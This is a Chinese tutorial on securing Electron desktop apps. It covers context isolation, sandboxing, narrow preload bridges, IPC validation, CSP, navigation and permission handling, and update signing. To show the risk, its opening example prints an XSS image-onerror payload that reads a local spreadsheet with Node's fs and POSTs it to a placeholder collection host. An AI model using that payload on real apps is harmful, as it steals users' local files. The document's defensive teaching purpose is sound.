一个内部工具做了 Markdown 预览:左边写,右边实时渲染。为了支持「Markdown 里也能写 HTML」,渲染结果直接塞进 innerHTML。某天有人从外部文档站复制了一段内容进来,里面夹着一行图片,图片地址是坏的。预览区显示裂图,与此同时,程序把本机「文档」目录里的一个表格文件读了出来,发到了外面。没有弹窗,也没有卡顿。
那行内容里混进的是这样一个属性:
<img src="x" onerror="const fs = require('node:fs'); fetch('https://example.invalid/collect', { method: 'POST', body: fs.readFileSync('C:/Users/me/Documents/report.xlsx', 'base64') })">
图片加载失败,onerror 就触发。如果渲染进程能拿到 require,这一行就能读文件、发请求;换成 exec('calc.exe') 就是弹出计算器。整个过程不需要点击,页面一渲染就发生;在桌面外壳里,页面脚本和本机只隔一层配置。
第二个现场更常见:为了让预览页能读文件,开发时把 nodeIntegration 打开、contextIsolation 关掉,功能十分钟就跑通了。上线前做安全审计,工具第一行就报 nodeIntegration enabled,后面跟着一长串高危项。改回去,预览页立刻报 require is not defined,于是又改回来。项目就卡在这个循环里,谁都知道不安全,但谁也不想先动。
这篇讲清边界在哪、哪些开关不能动,以及不打开 nodeIntegration 时怎么安全地读一个文件。开关都落在 webPreferences、CSP、IPC 校验和权限处理器上。默认值随版本变过,关键项都显式写死;本机 Electron 45.2.3 启动即崩(0xC0000005),防护效果未验证。
威胁模型:四层,三道墙
先把结构摆出来。Electron 应用从外到内可以分成四层,出问题时先判断攻击者已经站到了哪一层。
preload 能看到页面的 window,也能调用 Electron 的 IPC。它暴露什么,页面就能用什么。四层之间有三道墙:页面与预加载之间的上下文隔离,预加载与主进程之间的 IPC 校验,主进程与系统之间的业务校验。nodeIntegration: true 拆前两道,页面直接拿到 require,页面层和主进程合并;contextIsolation: false 拆第一道,页面脚本和预加载共享全局对象;webSecurity: false 拆掉同源策略,让远程页面能读本地资源、跨站发请求。
所以判断一个配置危不危险,不用背清单,问一句:它拆了哪道墙。拆了一道,其余两道就得靠代码补;拆了两道,基本等于没有边界。
桌面和网页最大的差别在这里:浏览器里 XSS 的收益通常是读 cookie、冒用登录态;桌面外壳里 XSS 的收益是本机命令执行。用户安装时点了「允许」,程序就拥有了他的文件权限,攻击者不需要骗他下载第二次。所以「先上线、安全后面补」在桌面端特别危险。
安全基线:把六个值写死
需求:一个 Markdown 预览窗口,左侧输入,右侧渲染,先只做只读展示。建一个最小工程,装上 Electron,把窗口跑起来:
npm init -y
npm pkg set main=main.js
npm install --save-dev electron
npx electron .
窗口配置决定了页面层和主进程之间到底有没有墙,先按安全值写全:
| 配置项 | 安全值 | 作用 | 写反的后果 |
|---|---|---|---|
nodeIntegration | false | 页面里没有 require、process、Buffer | 任意 XSS 直接升级为本机命令执行 |
contextIsolation | true | 预加载和页面运行在两个 JS 上下文,只通过 contextBridge 交接 | 页面能改写预加载的全局对象,绕过桥的约束 |
sandbox | true | 渲染进程跑在 Chromium 沙箱里,preload 只能用极少数模块 | 渲染进程被攻破后更容易触及系统资源 |
webSecurity | true | 保留同源策略,跨站读取被拦 | 远程页面能读本地文件、绕过 CORS |
allowRunningInsecureContent | false | HTTPS 页面里不加载 HTTP 资源 | 中间人可以往页面里塞脚本 |
webviewTag | false | 禁用 <webview> 标签,避免 guest 页面自带一套 webPreferences | 一个页面就能创建出配置更松的嵌套浏览器 |
const path = require('node:path');
const { BrowserWindow } = require('electron');
function createWindow() {
const win = new BrowserWindow({
width: 1000,
height: 700,
webPreferences: {
preload: path.join(__dirname, 'preload.js'),
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
webSecurity: true,
allowRunningInsecureContent: false,
nodeIntegrationInWorker: false,
nodeIntegrationInSubFrames: false,
webviewTag: false,
},
});
win.loadFile('index.html');
return win;
}
预期:窗口打开,右侧显示预览内容;渲染进程控制台里 typeof require 是 undefined,window.notes 是一个只有 read、save 两个方法的对象。把 nodeIntegration 改回 true 重启,require 变成 function,这就是最直观的基线验证。
默认值不要依赖:Electron 12 之后 contextIsolation 默认 true、nodeIntegration 默认 false,较新的大版本 sandbox 也默认开启,但老项目升级和合并配置都可能改掉。写全比相信默认值可靠。
sandbox: true 的直接后果是 preload 不能再随意 require('fs'),只能用 Electron 提供的少数模块。很多项目一开沙箱预加载就报错,又把沙箱关回去。这个报错是提示:文件读写不该放在预加载里,把 fs 搬到 ipcMain.handle 就能开。contextIsolation: true 同理,页面和预加载不能共享对象,只能传函数和可序列化的值。
nodeIntegrationInSubFrames 也常被忽略。它开着时,iframe 也能拿到 Node,主页面加固得再好,第三方 iframe 里一个 XSS 就绕过整套防线。默认是 false,升级和合并配置时值得再查一遍。预加载:只暴露能说清的那几个方法
很多「加固」止步于关掉 nodeIntegration,然后在预加载里写 contextBridge.exposeInMainWorld('api', { ipcRenderer })。这等于把整串钥匙递出去:页面能 invoke 任意通道,主进程漏一个没校验的 handler,就和开着 nodeIntegration 差不多。
// preload.js:只给页面两个具名方法,不给 ipcRenderer 本体
const { contextBridge, ipcRenderer } = require('electron');
contextBridge.exposeInMainWorld('notes', {
read: (id) => ipcRenderer.invoke('note:read', String(id)),
save: (id, text) => ipcRenderer.invoke('note:save', String(id), String(text)),
});
主进程这边仍然要校验,而且校验要落在「值」上,不能只信通道名:
const { app, ipcMain } = require('electron');
const fs = require('node:fs/promises');
const path = require('node:path');
const NOTES_DIR = path.resolve(app.getPath('userData'), 'notes');
ipcMain.handle('note:read', async (_event, id) => {
if (typeof id !== 'string' || !/^[a-z0-9-]{1,32}$/.test(id)) {
throw new Error('invalid id');
}
const file = path.resolve(NOTES_DIR, id + '.md');
if (!file.startsWith(NOTES_DIR + path.sep)) {
throw new Error('outside notes dir');
}
return fs.readFile(file, 'utf8');
});
这段代码有三个值得抄走的动作。通道名固定成 note:read,页面拼不出 note:delete。id 用白名单正则限制字符和长度,../ 和盘符进不来。path.resolve 之后再判断前缀,防止 notes-evil 蒙混;判断带上 path.sep,否则 notes2 也会被当成子目录。
还要确认消息来自自己人。窗口以后若嵌了远程页面,它也能调同一个桥。在处理函数里检查 event.senderFrame 的 URL 是否属于自家页面,是成本很低的补丁;具体字段以当前版本文档为准。
预加载要薄,十几行就够,只做「转字符串、调固定通道、返回结果」。业务规则、路径拼接、权限判断都放主进程,因为页面层永远不可信。把校验写在预加载里,等于把门锁装在门外侧。
invoke(channel, payload),哪怕加了白名单。白名单写成数组或正则,后面加功能很容易顺手扩大;具名方法审查成本低得多。安全设计里,「加功能要多走一步」通常是好事。CSP:让页面里不该执行的东西执行不了
上下文隔离管「页面能不能碰到预加载」,CSP 管「页面里哪些东西能执行」。两道墙不重复:桥再窄,页面能跑任意内联脚本,攻击者仍可操控页面、诱导用户、把数据发出去。CSP 是第二层,也最容易被写错。
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'; object-src 'none'; base-uri 'none'; form-action 'none'">
逐条说:default-src 'self' 是兜底;script-src 'self' 只允许同源脚本文件,内联 <script>、onerror 这类事件属性、eval、new Function 全部拒绝;style-src 'self' 挡住内联样式;img-src 只放同源和 data: 图片;connect-src 限制 fetch、XHR、WebSocket 的目标;object-src 'none' 关插件;base-uri 'none' 防 <base> 改写相对路径;form-action 'none' 防表单外发。
CSP 写 meta 有三个限制:必须在所有资源之前出现;frame-ancestors、report-uri、sandbox 在 meta 中不生效,只能走响应头;不同版本对 file:// 的处理也不一致。生产环境更稳的是统一加响应头。
const { session } = require('electron');
session.defaultSession.webRequest.onHeadersReceived((details, callback) => {
callback({
responseHeaders: {
...details.responseHeaders,
'Content-Security-Policy': [
"default-src 'self'; script-src 'self'; style-src 'self'; " +
"img-src 'self' data:; connect-src 'self'; object-src 'none'; " +
"base-uri 'none'; form-action 'none'",
],
},
});
});
开发环境要单独放行。Vite 的热更新会注入内联脚本,把生产策略原样搬过去会白屏。按 app.isPackaged 分两套:开发宽松、打包严格。不要因为麻烦就把 'unsafe-inline' 留在生产策略里。
还有一点值得知道:innerHTML 插入的 <script> 不会执行,这是 HTML 解析规则;但 onerror、onload 这类事件属性会执行。所以「脚本没跑」不能证明安全。修法不是靠 CSP 兜底,而是不把不可信 HTML 直接塞进 DOM:白名单清洗,或放进沙箱 iframe 只回传纯文本。
'unsafe-inline' 或 'unsafe-eval',对 XSS 的拦截基本失效。'unsafe-inline' 放行内联脚本和事件属性,'unsafe-eval' 放行字符串到代码的转换。确实需要内联脚本时,用 nonce 或 hash 精确放行一条,而不是把整类打开。导航:别让页面把你带到别人的网站
页面里一个普通链接,用户点了,默认可能在同一个窗口打开外部站点,而且新页面还带着同一个预加载。攻击者只要让用户点一次链接,就能在自家页面上调用你的桥。导航和开新窗口必须显式管住。
const { shell } = require('electron');
function isInternal(raw) {
try {
const url = new URL(raw);
return url.protocol === 'app:' && url.host === 'notes';
} catch {
return false;
}
}
win.webContents.on('will-navigate', (event, url) => {
if (!isInternal(url)) event.preventDefault();
});
win.webContents.setWindowOpenHandler(({ url }) => {
try {
const target = new URL(url);
if (target.protocol === 'https:') shell.openExternal(target.toString());
} catch {
// 解析失败就不打开
}
return { action: 'deny' };
});
判断内外不要用字符串包含:https://app.example.com.evil.com 能骗过 includes('app.example.com'),https://app.example.com@evil.com 也能。正确做法是解析 URL 后比协议、主机和端口。自定义协议要确认注册成了标准 scheme,否则 origin 可能是 null。
外链只允许 http: 和 https:,解析成功才交给 shell.openExternal;file:、javascript:、data: 和其他协议一律拒绝。
代码里的 app://notes 是生产环境示例;开发阶段用 file:// 时换成实际页面源,上线前切回自定义协议。
shell.openExternal 会把参数交给系统默认程序。传本地 .exe 路径,它可能真的执行;传 ms-msdt: 这类协议,历史上有过利用链。所以必须限定协议白名单,只放行解析成功的 https。还有一类导航不走 will-navigate:页面里的 window.open、target="_blank",走 setWindowOpenHandler。两个都要写,漏一个就有一个口子。要内嵌第三方页面,别用 <webview>,也别给它同一个预加载;用独立窗口、独立 session,并重复一遍同样的限制。
远程内容与本地文件协议
远程内容最容易出事。只要窗口加载了远程 URL,页面里的 XSS 就落在你的外壳里,而这个外壳可能带着预加载和 IPC 权限。规则是:带 preload、带 IPC 的窗口只加载自己的页面;要展示外部内容,另开一个没有 preload、sandbox 打开、nodeIntegration 关闭的窗口,用独立 session,不注册任何 IPC。
本地文件用 file:// 也不理想:源是不透明的,CSP 的 'self' 含义模糊,相对路径和 fetch 的行为在不同版本还有差异;页面写一个绝对路径就能引用本机任意文件。生产环境建议用自定义协议提供前端资源,注册成 standard 和 secure,让页面有稳定的源。注册和处理的 API 名称各版本调整过,具体写法以项目锁定的版本文档为准,待确认。
一定要渲染用户提交的 HTML 时,别直接 innerHTML。用 DOMPurify 这类白名单清洗器,只保留需要的标签和属性;或放进沙箱 iframe,通过 postMessage 只回传纯文本。渲染器本身也可能有漏洞,Markdown 库要锁版本、看公告。用户内容默认不可信,账号被盗、文件被替换都可能是来源。
权限请求与更新链路
权限请求默认全拒。摄像头、麦克风、通知、地理位置、剪贴板,在浏览器里会弹窗询问,在 Electron 里不处理时默认行为不一定符合预期,不同版本还不一样。显式写处理器,比猜默认值可靠。
const { session } = require('electron');
session.defaultSession.setPermissionRequestHandler(
(webContents, permission, callback) => {
callback(false);
}
);
session.defaultSession.setPermissionCheckHandler(() => false);
「一律拒绝」是起点。真要开摄像头,也应该在用户点了「开始扫码」之后再允许,并校验来源是自家页面、权限类型在白名单内。全部 callback(true) 最省事也最危险:页面被 XSS 后,攻击者能直接开摄像头、读剪贴板、申请通知去钓鱼,用户看不到任何系统弹窗。
更新链路也在威胁模型里。攻击者拿下更新服务器,或站在中间人位置改包,就能把整个客户端换掉,前面所有加固都变成给他做嫁衣。最低要求:HTTPS、安装包签名(Windows 用 Authenticode,macOS 签名加公证)、更新前验签而不是只比哈希。哈希清单和安装包通常来自同一台服务器,服务器被拿下时两个都能改。
electron-updater 会校验文件哈希,但会不会替你验证平台签名,取决于打包和配置,别假设它一定做了,具体行为待确认。能确定的是:Windows 上用 Get-AuthenticodeSignature 能看到签名,macOS 用 codesign -dv 和 spctl -a 能验证,把这两步放进发版检查比在文档里写「已签名」有用。
几种最危险的组合
下面这些组合在代码评审里应该直接拦下。
| 组合 | 实际效果 |
|---|---|
nodeIntegration: true + contextIsolation: false | 页面里一行 require 就能读文件、起进程,任何 XSS 都是本机命令执行 |
sandbox: false + 预加载暴露 ipcRenderer | 桥没有宽度,页面可以调用任意通道,主进程漏一个 handler 就破防 |
webSecurity: false | 同源策略失效,远程页面可读本地资源、跨站请求,CSP 的作用也被削弱 |
CSP 含 'unsafe-inline' 或 'unsafe-eval' | 内联脚本和事件属性照常执行,CSP 挡不住 XSS |
webviewTag: true + 加载远程页面 | 页面自己创建嵌套浏览器,guest 页面的安全配置不受主窗口控制 |
allowRunningInsecureContent: true + 远程内容 | HTTP 资源可被中间人替换,等于把脚本注入权限交给网络链路 |
这张表覆盖了最常见的「先跑通再说」。判断方法还是那句:它拆了哪道墙。拆两道以上,只能改回去。
现象、原因与第一步
| 现象 | 真实原因 | 第一步查什么 |
|---|---|---|
安全扫描报 nodeIntegration 开启 | 创建窗口或某个子窗口的 webPreferences 里写着 true | 全局搜 nodeIntegration,包括测试代码、旧窗口、第三方脚手架生成的配置 |
页面能执行脚本,但 require 是 undefined | nodeIntegration 已关,但仍有 DOM XSS | 搜 innerHTML、insertAdjacentHTML、dangerouslySetInnerHTML,确认 Markdown 渲染器有没有开 HTML |
| 加了 CSP 之后样式全乱 | 样式写在标签的 style 属性或内联 <style> 里 | 看 DevTools 的 CSP 违规报告,把内联样式抽成 CSS 文件,或用 nonce 放行 |
| 开发时正常,打包后白屏 | 生产 CSP 拦掉了内联启动脚本或远程字体 | 打开打包版的 DevTools,看 Console 里的 Refused to execute 具体指向哪条资源 |
| 点外链后程序跳到网页,地址栏都没有 | 没有拦 will-navigate,或只拦了 window.open | 两个事件都检查,确认判断用的是 URL 解析而不是字符串包含 |
| 网页请求摄像头直接拿到权限 | 没有设置权限处理器,走了默认允许 | 查 setPermissionRequestHandler 是否存在,回调里是否无条件 true |
| 更新后程序行为异常,签名信息变了 | 更新包未验签,或更新源被替换 | 查更新配置的地址、签名公钥、发布流程里有没有验签步骤 |
边界与代价
第一,加固会破坏现有代码。预加载里的 require('fs') 要搬到主进程,沙箱打开后某些依赖 Node 全局的库不能跑,contextIsolation 打开后复杂对象传不过去。这不是改一行配置,而是接口重做,排期时要算进去。
第二,CSP 会打断现有资源加载。内联样式、第三方 CDN、埋点脚本、字体都可能被拦。要么本地化,要么加 nonce,要么接受某些功能不可用。开发一套策略、生产一套策略,两边都要测。CSP 的价值在于纵深防御,但它不会让开发更轻松。
第三,供应链不在你的控制范围内。Markdown 解析器、前端框架、npm 依赖本身出漏洞,外壳再严也挡不住「合法代码干坏事」。锁文件、定期审计、最小依赖,这些和 webPreferences 一样重要。
第四,签名和更新密钥是长期负担。Windows 证书要买要续,macOS 开发者账号年费,更新私钥一旦丢失,老用户可能再也收不到升级。这是组织问题,但决定安全链路能不能真的跑起来。
第五,最彻底的办法是缩小功能。不渲染不受信任的 HTML、不加载远程页面、不需要摄像头,攻击面直接消失,比任何配置都有效。需要,就按上面的方式关在最小的笼子里;不需要,就删掉。
小结与练习
三句话:桌面外壳把网页的 XSS 升级成本机命令执行;防线是 contextIsolation、sandbox、关闭 nodeIntegration、最小预加载、CSP、导航白名单、默认拒绝权限,一层都不能省;每一条都要落到配置和代码,不要停在「注意安全」。
当天可以自己验证的练习:
- 在渲染进程控制台执行
typeof require,加固前后各看一次;再执行Object.keys(window.notes),确认桥只暴露了你写的那几个方法。 - 在一个空白页里用
innerHTML插入<img src="x" onerror="document.title='x'">,确认事件属性会执行;再加上script-src 'self'的 CSP,看它是否被拦。 - 把预加载改成暴露
ipcRenderer,在页面里 invoke 一个没有 handler 的通道,观察报错;再 invoke 一个有 handler 但没校验参数的通道,理解「桥的宽度」是什么意思。 - 调用
navigator.mediaDevices.getUserMedia,确认默认被拒;再在权限处理器里临时允许,对比两次的结果。 - 对打包后的 exe 执行
Get-AuthenticodeSignature .\YourApp.exe,看签名状态和签名者;没有签名的话,这一步就是你要补的第一课。
下一篇讲Tauri 对比与迁移思路。同样是把 Web 界面装进桌面外壳,Tauri 换掉了 Chromium 和 Node,体积小一个数量级,但安全模型、系统依赖和迁移成本都变了。看完这篇的边界,再判断哪些项目值得换。